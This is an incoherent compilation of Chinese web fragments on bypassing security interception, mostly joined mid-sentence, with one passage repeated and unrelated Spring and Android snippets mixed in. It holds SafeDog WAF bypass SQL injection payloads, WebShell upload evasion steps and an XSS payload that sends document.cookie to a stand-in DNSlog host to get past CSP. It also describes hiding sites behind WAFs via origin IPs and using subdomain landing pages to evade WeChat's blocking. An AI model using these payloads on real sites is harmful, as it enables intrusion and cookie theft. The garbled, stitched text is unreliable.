有些网站为了安全性,会禁止用户使用burp并进行拦截。 大家都知道我们的burp开启后可以访问http://burp/来下载证书。 拦截burp的原理会根据网站会利用代码通过用户本地能加载burp的图标http://burp/favicon.ico,或者可以访问http://burp/ 我们解决这个只需要关闭这个功能即可 (勾上是关闭
0x00 介绍前言 收集之中 WAF绕过方法: HPP(参数污染)方式 判断注入: xor 可直接过大部分的防护(包括安全狗) order by 大部分WAF默认拦截(包括安全狗) union 不拦截 select 不拦截 union selec 不拦截 union select 拦截 注:以上是在GET方式下的结果 POST下: and 不拦截 union select 不拦截 底线为↓ union select 1,2 from 这里开始被拦截 实际上真正要绕过的是from是否被匹配 安全狗WAF ByPass之HPP应用 描述: 一个有趣的注入点(可以使用其绕过SafeDog) #正常访问 ,x 所以参数值的数字都会变成,数字(用post测试) id=1137 union select 1&id=2&id=3&id=4&id=5&id=6&id=7&id=8&id=9&id=10&id=11& 3 , 15 继续注入查账号密码 id=1137%20union%20select%201&id=2&id=admin&id=4&id=5&id=6&id=7&id=8&id=9&id=10&id=11&
0x00 介绍前言 收集之中 WAF绕过方法: HPP(参数污染)方式 判断注入: xor 可直接过大部分的防护(包括安全狗) order by 大部分WAF默认拦截(包括安全狗) union 不拦截 select 不拦截 union selec 不拦截 union select 拦截 注:以上是在GET方式下的结果 POST下: and 不拦截 union select 不拦截 底线为↓ union select 1,2 from 这里开始被拦截 实际上真正要绕过的是from是否被匹配 安全狗WAF ByPass之HPP应用 描述: 一个有趣的注入点(可以使用其绕过SafeDog) #正常访问 ,x 所以参数值的数字都会变成,数字(用post测试) id=1137 union select 1&id=2&id=3&id=4&id=5&id=6&id=7&id=8&id=9&id=10&id=11& 3 , 15 继续注入查账号密码 id=1137%20union%20select%201&id=2&id=admin&id=4&id=5&id=6&id=7&id=8&id=9&id=10&id=11&
私域推广、引流从业者常遇微信域名拦截问题,轻则错失流量,重则损失营收。微信拦截并非随机,而是三重风控逻辑,二级域名能绕开拦截,核心是利用其“单域名拦截”特性。 关键细节:微信黑名单以“单域名”为单位,主域与二级域互不连带,这是二级域名绕拦的核心前提。 二、二级域名绕过微信拦截的5个实操技巧二级域名绕拦核心:单域名拦截特性+无需单独备案、可快速切换。以下技巧从基础到进阶。 技巧2:核心款——二级域名+跳板页(防封率90%+)结构:微信→合规二级域(跳板)→真实落地页。 五、总结微信域名拦截核心是“风控分层、单域拦截”,二级域名绕拦本质是合规前提下的风险分散。短期可通过“二级域名+跳板页+轮询”保障业务,长期需做好合规运营、优化配置,才能实现域名稳定,避免得不偿失。
在渗透测试的时候,很担心平时在扫WEB目录的时候,频繁的请求会容易被封IP.被封IP以后.要么等上一段时间,要么更换自己的IP.重新启动扫描器.这样的效率很低下,也很浪费自己的工作时间.
3.sqlmap加上代理"--proxy=http://127.0.0.1:5320"
本文链接:https://blog.csdn.net/yingziisme/article/details/94591183 使用SpringCloudGateway的全局异常拦截 其实这个应该是webflux 的全局异常拦截,由于gateway使用的是webflux的底层,不是servlet容器,异常处理需要继承ErrorWebExceptionHandler 具体实现如下 @Slf4j @Component 4.1.36.Final.jar:4.1.36.Final] at java.lang.Thread.run(Thread.java:748) ~[na:1.8.0_191] 目前没有发现404怎么拦截
大致步骤如下: 1.获取Request Header里的Content-Type值中获取boundary值2.根据第一步的boundary值,解析POST数据,获取文件名3.判断文件名是否在拦截黑名单内 /白名单外 了解了WAF如何对恶意文件进行拦截之后,我将常见的绕过方法分为如下几类,最后再使用目前最新版的安全狗进行绕过演示。 若WAF匹配文件名到换行截止,则可以绕过。 最后测出的结果如下,长度为3710个字符: image-20220122154848589 虽然并没有帮我们上传上去,但是可以成功绕过安全狗拦截。 image-20220122161340032 成功绕过。
该恶意软件被认为是首个可以在 Win11 系统上绕过 Secure Boot 的 UEFI bootkit 恶意软件。 设备一旦感染该恶意软件,就会在 Win11 系统中禁用 Defender、Bitlocker 和 HVCI 等防病毒软件。 BlackLotus 利用存在一年多的安全漏洞(CVE-2022-21894)绕过 UEFI 安全启动并将自身永久嵌入计算机中。 msdl.microsoft.com/download/symbols/hvloader.efi/559F396411D000/hvloader.Efi Smolár解释说,利用CVE-2022-21894,允许绕过安全启动并安装引导工具包 www.bleepingcomputer.com/news/security/blacklotus-bootkit-bypasses-uefi-secure-boot-on-patched-windows-11
通常我们SINE安全在渗透测试客户网站是否存在csrf漏洞,首先采用点击的形式去测试漏洞,在一个网站功能上利用点击的方式绕过安全效验与拦截,从技术层面上来讲,点击的请求操作来自于信任的网站,是不会对csrf 再一个检测漏洞的方式更改请求方式,比如之前网站使用的都是get提交方式去请求网站的后端,我们可以伪造参数,抓包修改post提交方式发送过去,就可以绕过网站之前的安全防护,直接执行CSRF恶意代码,漏洞产生的原因就是 ,网站开发者只针对了GET请求方式进行安全拦截,并没有对post的方式进行拦截,导致漏洞的发生。 有些客户网站使用了token来防止XSS跨站的攻击,在设计token的时候没有考虑到空值是否可以绕过的问题,导致可以token为空,就可以直接将恶意代码传入到后端中去。 对referer字段进行安全效验,检查URL是否是白名单里的,对于referer为空直接拦截掉该请求,URL的白名单要含有WWW,拒绝二级域名的请求。
通常我们SINE安全在渗透测试客户网站是否存在csrf漏洞,首先采用点击的形式去测试漏洞,在一个网站功能上利用点击的方式绕过安全效验与拦截,从技术层面上来讲,点击的请求操作来自于信任的网站,是不会对csrf 再一个检测漏洞的方式更改请求方式,比如之前网站使用的都是get提交方式去请求网站的后端,我们可以伪造参数,抓包修改post提交方式发送过去,就可以绕过网站之前的安全防护,直接执行CSRF恶意代码,漏洞产生的原因就是 ,网站开发者只针对了GET请求方式进行安全拦截,并没有对post的方式进行拦截,导致漏洞的发生。 有些客户网站使用了token来防止XSS跨站的攻击,在设计token的时候没有考虑到空值是否可以绕过的问题,导致可以token为空,就可以直接将恶意代码传入到后端中去。 对referer字段进行安全效验,检查URL是否是白名单里的,对于referer为空直接拦截掉该请求,URL的白名单要含有WWW,拒绝二级域名的请求。
工具三:小米范子域名收集工具:收集子域名(二级域名、三级域名、四级域名) 工作原理: 1、获取常用记录类型。 3、通过搜索引擎、获取其他接口查询二级域名(百度、必应、netcraft,可设置爬取线程也爬取条数) 4、通过字典爆破二级域名(可自定义线程数即字典)。 3、请求拦截、修改(此拦截并非使用代理的方式,不存在https安装证书的问题,但是有些地方也没有代理拦截那么方便)。 4、多个代理快速切换。 5、网页URL提取。 可绕过前端js加密、但速度慢、用于少量口令破解),可自行替换字典,路径dict/form-username.txt、dict/form-password.txt。 10、域名反查(调用爱站)。 11、二级域名查询(调用netcraft)。
它提供了丰富的方法,用于添加拦截器、配置视图解析器、处理静态资源等。 配置拦截器 通过 addInterceptors()方法,我们可以添加拦截器并设置拦截路径和排除路径,以下是一个示例代码: @Configuration public class MyWebMvcConfigurer MyInterceptor的实例,并添加到拦截器注册表中 .addPathPatterns("/**") // 需要拦截的请求路径。 此行使用了/**,表示拦截所有请求 .excludePathPatterns("/public/**"); // 指定了需要排除(不拦截)的请求路径。 这行我们排除了以/public/开头的请求,这意味着这些请求将不会被拦截。 } 这段代码表示拦截了所有请求(除了以/public/开头的请求)。
我们只需要搭建一个红色部分的DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级域名甚至三级域名上去请求,就可以通过DNS解析日志来获取它们。 场景三:XSS绕过CSP CSP(内容安全策略)是防御XSS最有效的手段之一。 当我们发现一个网站有XSS漏洞,想利用XSS平台来打Cookie时,CSP会通过白名单的方式禁止跨域加载脚本,恶意代码会被拦截,导致XSS无法利用。 这里,我们通过DNS解析突破CSP的拦截。 由于DNS预解析可以绕过CSP进行解析,结合DNSLOG,我们即可窃取在CSP保护下的Cookie。 document.cookie.split(/;|=/)[1]) + ".your-dnslog.com'>" 上面的Payload将Cookie中截取的重要字段进行简单的base64编码后,作为我们DNSLOG平台的二级域名
硬件型WAF 以硬件形式部署在链路中,支持多种部署方式,当串联到链路中时可以拦截恶意流量,在旁路监听模式时只记录攻击不进行拦截。 WAF方法 例如SQL注入漏洞绕过 1.大小写混合 在规则匹配时只针对特定大写或小写的情况,遇到时可以使用大小写混合绕过。 3.替换关键字 WAF采用替换或者删除select等敏感关键字的时候,如果只匹配一次则很容易进行绕过。 select polygon((select*from(select*from()a)b)); 7.寻找网站源站IP 对于有些waf防护的网站而言,可以找到真实ip地址,然后通过ip访问就可以进行绕过 ③找网站的二级域名、NS、MX记录等对应的IP。 ④使网站发送邮件给你,查看发送方的IP。
*本文原创作者:1_2,本文属FreeBuf原创奖励计划,未经许可禁止转载 这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法。 思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测。 废话不多说,切入正题。。。。 > 因为此次实验的目的是绕过网站安全狗,所以PHP源码上我没做任何检测,把上传的文件直接放在upload目录下。 3、先看一下正常的HTTP请求: ? 很明显,文件名为”yijuhua.php”被拦截。。。。 4、尝试%00截断: ? 很明显,失败了。。。 绕过网站安全狗的拦截,成功上传WebShell。。。 (2)删除Content-Disposition字段里的空格: ? ? ? (3)修改Content-Disposition字段值的大小写: ?
WAF通常部署在Web应用程序和客户端之间,像一座"智能安检门"检查所有进出网站的流量,核心任务包括拦截攻击(如SQL注入、XSS)、过滤异常请求(如CC攻击)以及通过"虚拟补丁"临时隐藏漏洞。 的工作流程可分为四个关键阶段:预处理阶段:判断请求是否为HTTP/HTTPS,检查URL是否在白名单中规则检测阶段:将解析后的数据包与预置规则库进行匹配处理模块:根据检测结果执行放行、阻断或告警操作日志记录:记录所有拦截和处理日志供后续分析绕过 以下是几种有效的真实IP发现方法:二级域名与其他域名解析记录:查找同一域名注册者下的其他域名解析记录,特别是未接入WAF的二级域名(如test.example.com、dev.example.com)可能直接解析到真实 :部分WAF对搜索引擎爬虫或特定IP段(如公司内网)设置白名单,伪装成这些可信来源可能绕过检测表:网络架构层绕过技术对比技术方法适用场景实施难度隐蔽性所需工具二级域名解析存在未防护子域名低中dig/nslookupMX 记录邮件服务器与Web服务器分离,MX记录不指向业务IP使用网络层ACL限制非HTTP/HTTPS流量访问Web服务器考虑混合部署模式:云WAF+本地硬件WAF形成多层次防护监控与日志分析:记录所有被拦截请求的原始数据
前言 距离Android11 发布已经过去了,当初我有大概了解过一些Android 11上的行为变更,总体变化虽然不少,但是要求我们必须去适配的地方并不算多。 不仅仅是运行在一部手机上,所以适配要做好,比如接下来我们要讲的 “包的可见性” 包的可见性 Google原文 对包的可见性介绍 原文是英文版的,阅读有诸多不便, 大概意思是这样 概述 当应用程序以 Android 11 非正常解决手段 以上则是比较正统的解决办法,而接下来要说的是通过Hook 系统函数来绕过对包的可见性限制 首先我们从日志判断,会有如下的日志打印 Unable to start service Intent
子域名收集
子域名是所谓的二级域名,通常一个主站的防护是严格的,但同时也会存在更多的二级子域名且可能防护简单。 $row{'pass'};
echo "
";
----
SQL注入绕过
大小写绕过
web应用对用户输入提交的内容进行敏感关键字扫描一旦符合则拦截当前的用户行为请求;往往在后台的黑名单中会忽视大小写问题 安全建议:将用户输入的内容统一大小写进行关键字比对(不改变原来的字符串内容)
双写绕过
当web应用对敏感关键字进行拦截删除,将敏感关键字从字符串中删除;攻击者构造类似“uniunionon”这样的字符串 安全建议:采用多重的敏感关键字拦截,或者说对发现存在敏感字的请求全部拦截取消当前的访问。 WAF绕过
大小写混合
URL编码:对URL请求进行一次或两次URL编码
替换关键字:WAF一般是删除请求中的关键敏感词,这里可以采用双写和其他方式绕过
使用注释:SQL注释注入绕过
要想绕过安全狗首先你要知道,安全狗是怎么防护的,过滤的是什么。 来我们先来测试一下,我在虚拟机上面搭建了一个php+mysql的网站。 我们用常规的注入语句看下。 ? 被拦截,先看看他拦截的是什么。 只输and没有被拦截,我在后面加了一个1就拦截了,证明他拦截的是数字。我们用注释符号测试一下 and /*!1*/=/*!1*/ 和 and /*!1*/=/*!2*/ ? ? 成功绕过安全狗拦截,我们继续同上拦截数字的原理继续order by /*!18*/查询字段数(因为我知道他原本多少字段) ? 正常绕过,下面我们来测试/*!union//*!select*//*! 绕过但是不出数字,我们所以union select没有被执行,安全狗拦截的是select所以注释符号不可以,我们来换个思路把union select取消注释放到post提交下面id=5 and /*! 11*/,/*!12*/,/*!13*/,/*!14*/,/*!15*/,/*!16*/,/*!17*/,/*!18*/ ? 绕过去了,我们接着试一下查询表名:and /*!1*/=/*!